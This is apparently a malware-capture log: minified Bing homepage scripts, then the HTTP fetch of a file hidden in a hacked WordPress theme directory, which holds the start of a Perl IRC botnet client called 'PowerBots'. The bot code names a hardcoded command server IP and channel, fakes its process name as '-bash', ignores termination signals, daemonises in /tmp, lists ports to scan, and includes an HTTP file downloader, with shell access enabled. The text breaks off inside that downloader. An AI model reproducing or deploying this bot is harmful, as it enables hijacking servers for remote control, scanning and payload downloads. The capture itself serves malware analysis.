r(n,t,i){sj_be(n,t,function(r){e(n,t,i,sj_ev(r))})}var f=_ge("sa_qs"),n,t,i,u;f.value="bs",n=sa_config,t=_ge(n.i),t.setAttribute("autocomplete","off"),i=_ge(n.c),i||(i=sj_ce("div"),i.id=n.c,f.parentNode.appendChild(i)),u=!1,r(t,"click",!0),r(t,"keydown",!0),n.eAI&&r(t,"keyup",!0),n.ol&&r(_w,"load")}(),sj_evas=sj_ev,sj_etas=sj_et,sa_config.ic&&sb_ie){function getIframeWindow(){return _ge("sa_con").contentWindow}sj_evas=function(){return getIframeWindow().event},sj_etas=function(){var n=getIframeWindow().event;return n?n.srcElement:null}};var _scopeRef = new Array();_scopeUrls['images']='/images/search?q=&FORM=BILH1';_scopeRef['images']='0';_scopeUrls['video']='/videos/search?q=&FORM=BVLH1';_scopeRef['video']='1';_scopeUrls['local']='/maps/default.aspx?q=&mkt=en&FORM=BYLH1';_scopeRef['local']='2';_scopeUrls['news']='/news/search?q=&FORM=BNLH1';_scopeRef['news']='3';_scopeUrls['seeall']='/explore?q=&FORM=BXLH1';_scopeRef['seeall']='4';_scopeUrls['history']='/profile/history?FORM=ZZLH1';_scopeRef['history']='5';var _scpIID = 'SERP.1000';;var Identity = Identity || {};(function(i){i.wlImgSm = "https://cid-{0}.users.storage.live.com/users/0x{0}/myprofile/expressionprofile/profilephoto:UserTileStatic/p?ck=1\u0026ex=720\u0026fofoff=1\u0026sid=6B3509BC90BD4153AB4D20E04AD6AD4B";i.wlImgLg = "https://cid-{0}.users.storage.live.com/users/0x{0}/myprofile/expressionprofile/profilephoto:UserTileMedium/p?ck=1\u0026ex=720\u0026fofoff=1\u0026sid=6B3509BC90BD4153AB4D20E04AD6AD4B";i.popupLoginUrls ={"WindowsLiveId":"https://login.live.com/login.srf?wa=wsignin1.0\u0026rpsnv=11\u0026ct=1422913926\u0026rver=6.0.5286.0\u0026wp=MBI\u0026wreply=https:%2F%2fssl.bing.com%2Fsecure%2FPassport.aspx%3Fpopup%3D1\u0026lc=1033\u0026id=264960","Facebook":"/fd/auth/signin?action=interactive\u0026provider=facebook\u0026return_url=http%3a%2f%2fwww.bing.com%2fIdentity%2fFBPopup%3fsuccess%3d1\u0026cancel_url=http%3a%2f%2fwww.bing.com%2fIdentity%2fFBPopup%3fsuccess%3d0\u0026input=popup\u0026sig=6B3509BC90BD4153AB4D20E04AD6AD4B\u0026perms=read_stream,user_photos,friends_photos"};})(Identity);;var bepcfg = bepcfg || {};;bepcfg.wb = true ? '1' : '0';;_w.g_vidOn && !_w.g_hasVid ? sj_jb("HPImgVidViewer_c") : sj_jb("homepageImgViewer_c");;var g_prefetch ={'Im': {url:'\/az\/hprichbg\/rb\/CapeTownWaves_EN-US9314088076_1920x1080.jpg', hash:'077'}};var hpl={ssd:'20150202_0800'};;var fbpkgiid = fbpkgiid || {};fbpkgiid.page = 'SERP.5091';;var Feedback;(function(n){(function(t){function i(t,r,u){if(typeof n=="undefined"||typeof jQuery=="undefined"){setTimeout(function(){i(t,r,u)},50);return}n.PackageLoad.Load(t,r,u)}function r(n,t,r,u,f){var e=_ge(t);f=typeof f=="undefined"?!1:f,e!==null&&sj_be(e,"click",function(o){if(f&&e.classList){if(e.classList.contains("clicked"))return!1;e.classList.add("clicked")}LoadJQuery(),sj_pd(o),sj_sp(o),u=typeof u=="undefined"?!1:u,u&&scrollTo(0,0),r=typeof r=="undefined"?!0:r,i(n,r,t)})}t.InitializeFeedback=r})(n.Bootstrap||(n.Bootstrap={}));var t=n.Bootstrap})(Feedback||(Feedback={})),function(n){(function(n){"use strict";function f(){return _d.documentElement.outerHTML}function h(n,i,r){var f;i=typeof i=="undefined"?!0:i,r=typeof r=="undefined"?"":r;for(f in n)i?n.hasOwnProperty(f)&&typeof u[f]=="undefined"&&t(f,r):t(f,r)}function t(n,t){var h,y="",a=_G.IG,v=typeof _G.V=="undefined"?_G.P:_G.V,l="/feedback/",p,o,f,c=r();o=l+n+"?ig="+a+"&p="+v,typeof fbpkgiid!="undefined"&&typeof fbpkgiid[n]!="undefined"&&(o+="&iid="+fbpkgiid[n]),(f=location.href.match(/[?&]testhooks=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),(f=location.href.match(/[?&]hoseassistant=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),(f=location.href.match(/[?&]hose=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),(f=location.href.match(/[?&]theme=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),typeof t!="undefined"&&t!==""&&(o+="&fid="+encodeURIComponent(t)),c.length==0?$.ajax({url:o,success:i}):(h=e("GET",o,!0),h.onreadystatechange=function(){return s(h)},h.send()),u[n]=!0}function s(n){_ge("sb_feedback").removeAttribute("clicked"),n.readyState==4&&n.status==200&&i(n.response)}function i(n){$("body").append(n)}function o(n){var t=sj_ce("div","");return t.innerHTML=n,t.childNodes.length===0?"":t.childNodes[0].nodeValue}function r(){for(var t=_d.getElementsByTagName("meta"),i,n=0;n<t.length;n++)if(t[n].name==="bing-headers")try{i=JSON.parse(t[n].getAttribute("value"))}catch(r){}return i||[]}function e(n,t,i){var e=sj_gx(),f,u;e.open(n,t,i),f=r();for(u in f)e.setRequestHeader(u,o(f[u]));return e}var u={};n.originalHTML=f(),n.GetHTML=f,n.Load=h})(n.PackageLoad||(n.PackageLoad={}));var t=n.PackageLoad}(Feedback||(Feedback={}));_w.rms.js({'A:0':0},{'A:rms:answers:Identity:BlueIdentityDropdownBootstrap':'\/rms\/rms%20answers%20Identity%20Blue$BlueIdentityDropdownBootStrap\/jc\/afd2a963\/04592351.js?y'},{'A:rms:answers:Identity:BlueIdentityHeader':'\/rms\/rms%20answers%20Identity%20Blue$BlueIdentityHeader\/jc\/5ea68b6f\/b5d667f1.js?y'},{'A:1':1},{'A:rms:answers:Identity:SnrWindowsLiveConnectBootstrap':'\/rms\/rms%20answers%20Identity%20SnrWindowsLiveConnectBootstrap\/jc\/7e10556a\/fd0be0a1.js?y'},{'A:2':2},{'A:rms:answers:Rewards:RewardsNcHeaderBootstrap':'\/rms\/rms%20answers%20Rewards%20RewardsNcHeaderBootstrapAjax\/jc\/080a6274\/d4262ac3.js?y'},{'A:rms:answers:Rewards:ReportActivityBootstrap':'\/rms\/rms%20answers%20Rewards%20ReportActivityBootstrap\/jc\/9bdba936\/c0061037.js?y'},{'A:3':3},{'A:rms:answers:BoxModel:Framework':'\/rms\/Framework\/jc\/a68c39ce\/23d0202d.js?bu=rms+answers+BoxModel+config%2crules%24rulesHP%2ccore%2cmodules%24scroll%2cmodules%24resize%2cmodules%24visibility%2cmodules%24mutation%2cmodules%24validation%2cmodules%24network&y'});;
- //]]></script><div id="aRmsDefer"><script type="text/rms">//<![CDATA[
- (function(n,t,i){function rt(){u=_ge("sc_mdc"),b=_ge("crs_scroll"),r=_ge("crs_pane"),l=_ge("sc_mdCrs"),u&&(s=Number(u.getAttribute("data-ajaxthrs")),o=Number(u.getAttribute("data-ajaxlim")),e=l.getAttribute("data-filters"),f=Number(u.getAttribute("data-initcnt")),h=Number(u.getAttribute("data-ajaxcnt")),a=u.getAttribute("data-ajaxiid"),isNaN(s)||isNaN(o)||isNaN(f)||isNaN(h)||n(ut,nt,1))}function w(){var n=0,t;if(r&&(n=parseInt(r.style.width),isNaN(n)&&r.children))for(t in r.children)n+=t.clientWidth+4;return n}function d(){var i=p*s,t=w(),n=b.scrollLeft;return i>=t-n&&!y&&!c&&!v}function g(n){var s=n&&n.children&&n.children.length>0&&n.children[0],b=s&&s.children[0],t=b&&b.children,l,c,u,d,g,k,a,h;if(!t||t.length===0){y=!0;return}for(l=t.length,c=_d&&_d.createDocumentFragment(),u=0;u<l;u++)d=t[u].cloneNode(!0),c.appendChild(d);r.appendChild(c),e=s.getAttribute("data-filters"),f+=l,v=r.children.length>=o,g=w(),r.style.width=g+p*t.length+"px",k=s.getAttribute("data-credits"),a=_ge("sc_imagecreditslink"),a.title+=k,h=_ge(_G&&_G.RTL?"crs_btLeft":"crs_btRight"),h&&i&&i(h,"crs_bt_disabled")}function k(){var i=sj_gx(),n=hp_pushparams([]),r;_w._G&&_w._G.IG&&n.push("IG="+_G.IG),n.push("IID=SERP."+a),n.push("efirst="+f),n.push("ecount="+h),n.push("escenario="+it),n.push("filters="+encodeURIComponent(e)),r="/hpm/items?"+n.join("&"),i.open("GET",r),i.onreadystatechange=function(){if(i.readyState==4&&i.status==200){var n=sj_ce("div"),r=i.responseText;n.innerHTML=r,g(n),_w.location.href.indexOf("https")===-1&&t("Load","HP","HpmAjaxLoad",!0),c=!1}},i.send()}function nt(){d()&&(c=!0,k())}var tt="EVT_CRS_SETUPDONE",ut="EVT_CRS_SCROLLDONE",p=154,it="CarouselList",c=!1,y=!1,v=!1,u,b,r,l,s,o,e,f,h,a;n&&n(tt,rt,1)})(sj_evt&&sj_evt.bind,_w.Log&&_w.Log.Log,hp_removeclass);(function(n,t){function r(n){return Boolean(n.toLowerCase().indexOf("optimizely")!=-1)}function i(){var h=_d.cookie,o,s,i,n,f,e;if(h){for(o=h.split(";"),s=!1,i=0;i<o.length;i++)n=o[i],n&&r(n)&&(f=n.split("="),e=f&&f[0],e&&(_d.cookie=e+u,s=!0));t&&s&&_w.location.protocol.indexOf("https")==-1&&t("Success","HP","OptimizelyCleaned",!0)}}var u="=; expires=Thu, 01 Jan 1970 00:00:01 GMT;";n!=null&&n("onRBComplete",i,1)})(sj_evt&&sj_evt.bind,_w.Log&&_w.Log.Log);var Bnp=Bnp||{};Bnp.Global=Bnp.Global||{},Bnp.Version="1",Bnp.Partner=Bnp.Partner||function(){function u(n){sj_evt.fire("onBnpRender",n)}function n(t){var e=e||{};if(typeof e.stringify=="function")return e.stringify(t);var o=typeof t,r=t&&t.constructor==Array,f=[],u,i;if(o!="object"||t==null)return o=="string"?'"'+t+'"':String(t);for(u in t)i=t[u],i&&i.constructor!=Function&&(r?f.push(n(i)):f.push('"'+u+'":'+n(i)));return(r?"[":"{")+String(f)+(r?"]":"}")}function h(n){for(var u=[],r=n.getElementsByTagName("script"),t,i;r.length;)t=r[0],i=sj_ce("script"),t.src?i.src=t.src:t.text&&(i.text=t.text),i.type=t.type,t.parentNode.removeChild(t),u.push(i);return u}function c(n){for(var t=0;t<n.length;t++)r(n[t])}function r(n){t=t||_d.getElementsByTagName("head")[0],t.appendChild(n)}function o(n){for(var t,i=0;i<n.length;i++)t=sj_ce("style"),t.type="text/css",t.textContent!==undefined?t.textContent=n[i]:t.styleSheet.cssText=n[i],r(t)}function e(){sj_evt.fire("onPopTR")}var i="dhplink",t,s=2500,f=function(n,t,i){this.PartnerId=n,this.IID=t||"",this.Attributes=i||{}};return f.prototype.Submit=function(){function a(){t.abort(),u("Timeout"),sj_evt&&sj_evt.fire(i)}var r=this.Attributes;this.Attributes.RawRequestURL=r.RawRequestURL||Bnp.Global.RawRequestURL,this.Attributes.Referer=r.Referer||Bnp.Global.Referer,this.Attributes.RawQuery=r.RawQuery||Bnp.Global.RawQuery;var t=sj_gx(),f=_w.location.search.substr(1),y=/(^|&)bnptesthooks=1(&|$)/i,p=y.exec(f),v="/notifications/render?bnptrigger="+encodeURIComponent(n(this))+(_G?"&IG="+_G.IG:"")+(this.IID?"&IID="+this.IID:"")+(this.Debug?"&"+this.Debug.join("&"):p?"&"+f:""),l=sb_st(a,s);t.open("GET",v,!0),t.onreadystatechange=function(){var r,f;if(t.readyState==4&&t.status==200){if(sb_ct(l),r=t.responseText,r.length==0){u("None"),sj_evt&&sj_evt.fire(i);return}r.indexOf("cmd:setdefaulthomepage")==-1&&sj_evt&&sj_evt.fire(i),e();var n=sj_ce("div"),s=[],a=r.replace(/<style\s+[^>]+>([^<]*)<\/style>/g,function(n,t){return s.push(t),""});n.innerHTML="<div>dummy<\/div>"+a,f=h(n),n.removeChild(n.firstChild),sj_b.appendChild(n),o(s),c(f)}},t.send()},{Request:f}}(),function(){Bnp.PartnerLoaded||(sj_evt.fire("OnBnpLoaded"),Bnp.PartnerLoaded=!0)}();(function(n){function d(){if(i){var n=i.getAttribute("data-officemenuroot")||"office";t=_ge(n),t&&(i.style.left=t.offsetLeft+r,i.style.display=s,i.firstChild.style.display=s,t.pop=i,k(t),sj_be(t,e,o,!1),f&&sj_be(_d,g,function(n){(n.pointerType==rt||n.pointerType==2)&&t.pop.style.visibility==p&&u(t,n)},!1))}}function o(){hp_hasclass(i,h)||(i.className+=" "+h),sj_ue(t,e,o,!1)}function l(n){var e;a(n,!1),b();var f=n.pop,o=sj_go(n,c),u,s=_ge(ut),i=_d.body.clientWidth-s.offsetWidth,t=n.firstChild&&n.firstChild.offsetLeft-n.offsetLeft||0;t<0&&(t=n.firstChild.offsetLeft,i<0&&(i=0)),it?(t===0&&n.firstChild&&(t=n.offsetWidth-n.firstChild.offsetWidth),e=sj_go(_ge("sc_hdu"),c),u=o-e,f.style.left=u+n.offsetWidth-f.offsetWidth-t+r):(u=o-(i>0?i/2:0),f.style.left=u+t+r),sj_evt.fire("onSPHover","scPopOffice"),sb_i6?y(n):n.delayfadeInInt=sb_st(sj_wf(y,n,!0),v)}function u(n,t){var i=sj_mo(t);sj_we(i,n)||(a(n,!0),n.delayfadeOutInt=sb_st(sj_wf(w,n),v))}function b(){for(var n,t=0;t<6;t++)n=_ge("scpt"+t),n&&n.pop&&w(n)}function w(n){n.pop.style.visibility=et}function y(n){n.pop.style.visibility=p}function a(n,t){n.delayfadeInInt&&t?(sb_ct(n.delayfadeInInt),n.delayfadeInInt=null):n.delayfadeOutInt&&!t&&(sb_ct(n.delayfadeOutInt),n.delayfadeOutInt=null)}function k(n){n&&n.pop&&(sj_be(n,e,function(t){l(n,t)},!1),sj_be(n,tt,function(t){u(n,t)},!1),sb_ie||(sj_be(n,nt,function(n){l(this,n)},!1),sj_be(n,ft,function(n){u(this,n)},!1)))}var r="px",f=!sb_i8l&&_w.navigator.msPointerEnabled,e=f?"MSPointerOver":"mouseover",tt=f?"MSPointerOut":"mouseout",v=200,it=_G&&_G.RTL===!0,g="MSPointerDown",nt="touchstart",ft="touchleave",p="visible",et="hidden",s="block",rt="touch",c="Left",ut="hp_container",h="oms",i=_ge("off_menu_cont"),t;n!=null&&n("onRBComplete",d,1)})(sj_evt&&sj_evt.bind);
- //]]></script><script type="text/rms">//<![CDATA[
- var wlc=function(n,t,i){var u,e,f,r;n&&Identity&&(u=Identity.popupLoginUrls)&&(e=u.WindowsLiveId)&&(f=Identity.wlProfile)&&f()==null&&(r=_d.createElement("iframe"),r.style.display="none",r.src=e+"&checkda=1",_d.body.appendChild(r),i&&t&&t("WLS","TS",i,0,"/"))};
- //]]></script><script type="text/rms">//<![CDATA[
- var sj_appHTML=function(n,t){var f,s,e,i,u,o,h;if(t){var l="innerHTML",c="script",v="appendChild",w="length",p="src",y="type",a=sj_ce,r=a("div");for(r[l]="<br>"+t,f=r.childNodes,r.removeChild(f[0]),s=r.getElementsByTagName(c),e=0;e<s[w];e++)i=a(c),u=s[e],i[y]=u[y],o=u.getAttribute(p),o?i.setAttribute(p,o):(i.text=u[l],i.setAttribute("data-bing-script","1")),r.replaceChild(i,u);for(h=_d.createDocumentFragment();f[w];)h[v](f[0]);n[v](h)}};var sj_ajax=function(n,t){function s(){i[e]=h,i.abort&&i.abort()}function f(n,t){typeof n=="function"&&n(t,{request:i,appendTo:function(n){i&&sj_appHTML(n,i.responseText)}})}var r,i=sj_gx(),e="onreadystatechange",o,u=null,l=sb_st,c=sb_ct,h=function(){};if(!n||!i){f(r,!1);return}t&&(r=t.callback,o=t.timeout),i.open("get",n,!0),i[e]=function(){if(i.readyState===4){var n=!1;u!==null&&c(u),i.status===200&&(n=!0,i[e]=h),f(r,n)}},sj_evt.bind("ajax.unload",s),i.send(),o>0&&(u=l(function(){s(),f(r,!1)},o))};
- //]]></script><script type="text/rms">//<![CDATA[
- (function(n,t,i){function ai(){oi(),si(),hi();var n=sj_cook&&sj_cook.get("_UR","MC");n&&n!="0"&&h&&(h.style.display=p)}function oi(){hp_defined(_w.PointerEvent)?(r="pointermove",c="pointerdown"):hp_defined(_w.MSPointerEvent)?(r="MSPointerMove",c="MSPointerDown"):(r="mousemove",c="mousedown")}function si(){n!=null&&(n(a,function(n){kt(),n&&n.length>1&&ut(!1,n[1])},1),n(v,function(n){yt(),n&&n.length>1&&ut(!0,n[1])},1),n(ui,function(){yt()}))}function hi(){hp_defined(r)&&sj_be(tt,r,bt,!1),hp_defined(c)&&sj_be(tt,c,ft,!1),li&&sj_be(tt,et,ft,!1),f&&sj_be(f,k,wt,!1),e&&(sj_be(e,ii,function(n){t(a,n.type)},!0),sj_be(u,ri,function(n){t(v,n.type)},!0),sj_be(e,k,function(n){(n=n||_w.event,n.ctrlKey||n.shiftKey||n.metaKey||n.altKey)||sj_pd(n)},!1))}function ut(n,t){i&&_w.location.protocol.indexOf("https")<0&&i(n?"Hide":"Show","HP","MuseumCard",!1,"Meta",t,"Time",sb_gt())}function wt(){if(w&&o&&o.hsh&&hp_defined(hp_pushparams)){var t="/hpwp/"+o.hsh,n=hp_pushparams([]);n.length&&(t+="?"+n.join("&")),_w.location.href=t}}function bt(n){sb_i8l&&event?it(event.clientX,event.clientY,n):it(n.pageX,n.pageY,n)}function ft(n){var t=n&&(n.changedTouches&&n.changedTouches[0]||n);t&&it(t.pageX,t.pageY,n)}function it(n,i,f){var o=f.type,b=_ge("sh_rdiv"),k=_ge("sh_igl"),h,w,s,p;if(!ot||o!=r||f.pointerType==pt||f.pointerType==4){if(h=g(e),h.valid&&d(h,n,i)){if(o==r||o==et||ot&&o==c&&f.pointerType!=pt&&f.pointerType!=4){if(o==r){l.style.display!=y&&t(a,o);return}sj_pd(f),sj_sp(f),l.style.display!=y?t(a,o):t(v,o);return}w=f.ctrlKey||f.shiftKey||f.metaKey||f.altKey,!w&&u&&u.href!=nt&&hp_defined(f.button)&&f.button==0&&(_w.location.href=u.href)}if(s=g(b),s.left=sj_go(k,at),s.valid&&d(s,n,i)&&l.style.display!=y&&o==r){t(a,o);return}p=g(l),p.valid&&!d(p,n,i)?o==r?(sb_ct(rt),rt=sb_st(function(){t(v,o)},ci)):t(v,o):o==r&&sb_ct(rt)}}function d(n,t,i){return t>=n.left&&t<=n.right&&i<=n.bottom&&i>=n.top?!0:!1}function g(n){var i,u,t,r;return i=sj_go(n,at),u=i+n.clientWidth,t=sj_go(n,fi),r=t+n.clientHeight,{left:i,right:u,top:t,bottom:r,valid:!(i==0&&u==0&&t==0&&r==0)}}function kt(){if(vt.style.display=y,l.style.display=y,dt(),h&&h.style.display!=p){var n=sj_cook&&sj_cook.get("_UR","MC");n&&n=="1"||sj_cook.set("_UR","MC","1")}}function yt(){l.style.display=p,vt.style.display=p,s&&hp_removeclass(s,st)}function dt(){var e="b_hide",u="b_idOpen",o=_ge("bepfm"),f=_ge("bepfo"),t=_ge("id_h"),i,n,r;for(f&&o&&hp_addclass(f,e),t&&hp_hasclass(t,u)&&hp_removeclass(t,u),s.fireEvent?s.fireEvent("on"+k):(i=_d.createEvent("Events"),i.initEvent(k,!0,!1),s.dispatchEvent(i)),s&&hp_addclass(s,st),n=1;n<=4;n++)r=_ge("sc_hs"+n),r&&(r.style.visibility=ti)}function gt(n){var t,i;!n||n.length<=1||(t=n[1],o=t,ni(t),f&&(t.wp&&!t.vid?(w=!0,hp_removeclass(f,ht)):(w=!1,hp_addclass(f,ht),h&&(h.style.display=p)),i=f.getAttribute(w?"data-msg":"data-dismsg"),f.setAttribute(ei,i),f.firstChild.innerHTML=i))}function ni(){var t=o.vid?o.vid.caption:o.copyright,f=o.copyrightlink,i,r,n;f==nt?(hp_addclass(u,b),e&&(e.style.cursor="default")):(hp_removeclass(u,b),e&&(e.style.cursor="pointer")),u&&(u.href=f,f==nt?hp_addclass(u,b):hp_removeclass(u,b)),n=t.indexOf("©"),n!=-1&&(i=t.substr(0,n-2),r=t.substr(n,t.length-n-1)),i!=null&&ct&&(ct.innerHTML=hp_trimstr(i)),r!=null&<&&(lt.innerHTML=hp_trimstr(r))}var e=_ge("sh_cp"),vt=_ge("musCard"),l=_ge("musCardContent"),u=_ge("musCardImageLink"),ct=_ge("musCardImageTitle"),lt=_ge("musCardCopyright"),f=_ge("DownloadHPImage"),s=_ge("hp_container"),tt=_ge("hp_table"),h=_ge("hpw-desc"),ht="disabled",ot=hp_defined(_w.MSPointerEvent)||hp_defined(_w.PointerEvent),ui="hpsbact",st="hot_disable",a="onCardShow",v="onCardHide",at="Left",fi="Top",pt="mouse",k="click",ei="title",p="none",ti="hidden",y="block",ii="focus",ri="blur",w,o,ci=750,rt,r,c,et="touchstart",li="ontouchstart"in _w,nt="javascript:void(0)",b="empty";n!=null&&(n("onRBComplete",ai,1),n("updateHpImg",gt,1))})(sj_evt&&sj_evt.bind,sj_evt&&sj_evt.fire,_w.Log&&_w.Log.Log);(function(n,t,i){function g(){o=_ge("musCard")?[_ge("ShareFB"),_ge("ShareTwitter")]:[_ge("hp_fb_share"),_ge("hp_twitter_share")],a(),r&&(sj_be(r,f,sj_wf(y,r)),r.style.display=s)}function a(){for(var i=o.length,n,t=0;t<i;t++)n=o[t],n&&sj_be(n,f,sj_wf(v,n))}function v(n){var r=n.getAttribute(b),t=n.getAttribute(k);nt&&(t+="&ssd="+i.ssd),window.open(r+encodeURIComponent(t),"_blank","toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=550, height=420")}function y(){u.style.display!=s?w():e()}function h(n){if(n){var t=sj_et(n),f=sj_we(t,r,c),i=sj_we(t,u,c);f||i||u.style.display!=s||e()}}function w(){n(l,e),sj_be(_d,f,h),u.style.display=s}function e(){t(l,e),sj_ue(_d,f,h),u.style.display=p}var u=_ge("hp_share_menu"),r=_ge("hp_share"),tt=_ge("musCard"),d=_ge("hp_share_options"),c=_ge("hp_container"),s="block",p="none",f="click",l="hpsbact",k="data-shareurl",b="data-baseurl",o,nt=i&&hp_defined(i.ssd)&&i.ssd;(r&&u||tt)&&d&&n!=null&&n("onRBComplete",g,1)})(sj_evt&&sj_evt.bind,sj_evt&&sj_evt.unbind,hp_defined(hpl)&&hpl);LoadJQuery=function(){_w.rms.js({'rms:answers:Feedback:FeedbackJQuery':'\/rms\/rms%20answers%20Feedback%20CustomJQuery.min\/jc\/370c6a3e\/ca6dc37d.js?y',d:1});};Feedback.Bootstrap.InitializeFeedback({page:true},"sb_feedback",1,0,0);;
- //]]></script></div></body><script type="text/javascript">//<![CDATA[
- _G.HT=new Date;
- //]]></script></html>
- *****
- content of hxxp://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt
- |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
- ===========================================================================================
- http://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt (48.06%)
- ===========================================================================================
- |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
- GET /website/wp-content/themes/radio/includes/new.txt HTTP/1.1
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-us,en;q=0.5
- Connection: keep-alive
- Keep-Alive: 115
- Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
- DNT: 1
- User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0
- Host: escoladeradio.com.br
- HTTP/1.1 200 OK
- Date: Mon, 02 Feb 2015 21:48:33 GMT
- Server: Apache/2.4.3 (Unix) OpenSSL/0.9.8e-fips-rhel5 mod_fcgid/2.3.7
- Last-Modified: Sun, 04 Jan 2015 19:05:58 GMT
- ETag: "6b2b-50bd843917180"
- Accept-Ranges: bytes
- Content-Length: 27435
- Keep-Alive: timeout=5, max=100
- Connection: Keep-Alive
- Content-Type: text/plain
- -------------------------------------------------------------------------------------------
- #!/usr/bin/perl
- my @mast3rs = ("TNT","STMIK");
- my @hostauth = ("SEKIP");
- my @admchan=("#apache");
- my @server = ("198.154.63.131");
- $servidor= $server[rand scalar @server] unless $servidor;
- my $xeqt = "!";
- my $homedir = "/tmp";
- my $shellaccess = 1;
- my $xstats = 1;
- my $pacotes = 1;
- my $linas_max = 5;
- my $sleep = 6;
- my $portime = 4;
- my @fakeps = ("-bash");
- my @nickname = ("TNT");
- my @xident = ("TNT");
- my @xname = (`uname -a`);
- #################
- # Random Ports
- #################
- my @rports = ("80");
- my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
- "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
- "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
- "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
- "\001Snak for Macintosh 4.9.8 English\001",
- "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
- "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
- "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
- "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
- "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
- "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
- "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
- "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
- "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
- "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
- "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
- "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
- "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
- "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
- "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
- "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
- "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
- "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1Â?9] : Keep it to yourself!\001",
- "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
- "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
- "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
- "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
- "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
- # Default quick scan ports
- my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
- # xeQt
- #my $nick = "STMIK";
- my $nick = $nickname[rand scalar @nickname];
- my $realname = $xname[rand scalar @xname];
- my $ircname = $xident[rand scalar @xident];
- my $porta = $rports[rand scalar @rports];
- my $xproc = $fakeps[rand scalar @fakeps];
- my $Mrx = $Mrx[rand scalar @Mrx];
- my $version = 'PowerBots (C) GohacK';
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- use IO::Socket;
- use Socket;
- use IO::Select;
- chdir("$homedir");
- $servidor="$ARGV[0]" if $ARGV[0];
- $0="$xproc"."\0";
- my $pid=fork;
- exit if $pid;
- die "[x] -> Cannot fork into background: $!" unless defined($pid);
- my %irc_servers;
- my %DCC;
- my $dcc_sel = new IO::Select->new();
- sub getnick {
- return "$nickname[rand scalar @nickname]".int(rand(20000));
- }
- sub getstore ($$)
- {
- my $url = shift;
- my $file = shift;
- $http_stream_out = 1;
- open(GET_OUTFILE, "> $file");
- %http_loop_check = ();
- _get($url);
- close GET_OUTFILE;
- return $main::http_get_result;
- }
- sub _get
- {
- my $url = shift;
- my $proxy = "";
- grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
- if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
- my $host = $1;
- my $port = $2 || 80;
- my $path = $3;
- $path = "/" unless defined($path);
- return _trivial_http_get($host, $port, $path);
- } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
- my $host = $1;
- my $port = $2;
- my $path = $url;
- return _trivial_http_get($host, $port, $path);
- } else {
- return undef;
- }
- }
- sub _trivial_http_get
- {
- my($host, $port, $path) = @_;
- my($AGENT, $VERSION, $p);
- #print "HOST=$host, PORT=$port, PATH=$path\n";
- $AGENT = "get-minimal";
- $VERSION = "20000118";
- $path =~ s/ /%20/g;
- require IO::Socket;
- local($^W) = 0;
- my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return;
- $sock->autoflush;
- my $netloc = $host;
- $netloc .= ":$port" if $port != 80;
- my $request = "GET $path HTTP/1.0\015\012"
- . "Host: $netloc\015\012"
